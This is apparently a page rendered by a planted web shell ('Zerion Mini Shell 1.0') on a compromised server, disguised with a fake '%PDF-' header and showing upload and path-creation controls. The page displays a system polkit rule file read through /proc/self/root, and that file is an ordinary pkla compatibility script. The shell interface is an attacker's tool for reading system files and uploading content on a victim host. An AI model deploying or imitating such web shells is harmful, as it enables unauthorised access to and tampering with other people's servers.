%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/etc/polkit-1/rules.d/
Upload File :
Create Path :
Current File : //proc/self/root/etc/polkit-1/rules.d/49-polkit-pkla-compat.rules

polkit.addAdminRule(function(action, subject) {
	//polkit.log('Starting pkla-admin-identities\n');
	// Let exception, if any, propagate to the JS authority
	var res = polkit.spawn(['/usr/bin/pkla-admin-identities']);
	//polkit.log('Got "' + res.replace(/\n/g, '\\n') + '"\n');
	if (res == '')
		return null;
	var identities = res.split('\n');
	//polkit.log('Identities: ' + identities.join(',') + '\n');
	if (identities[identities.length - 1] == '')
		identities.pop()
	//polkit.log('Returning: ' + identities.join(',') + '\n');
	return identities;
});

polkit.addRule(function(action, subject) {
	var params = ['/usr/bin/pkla-check-authorization',
		      subject.user, subject.local ? 'true' : 'false',
		      subject.active ? 'true' : 'false', action.id];
	//polkit.log('Starting ' + params.join(' ') + '\n');
	var res = polkit.spawn(params);
	//polkit.log('Got "' + res.replace(/\n/g, '\\n') + '"\n');
	if (res == '')
		return null;
	return res.replace(/\n$/, '');
});

Zerion Mini Shell 1.0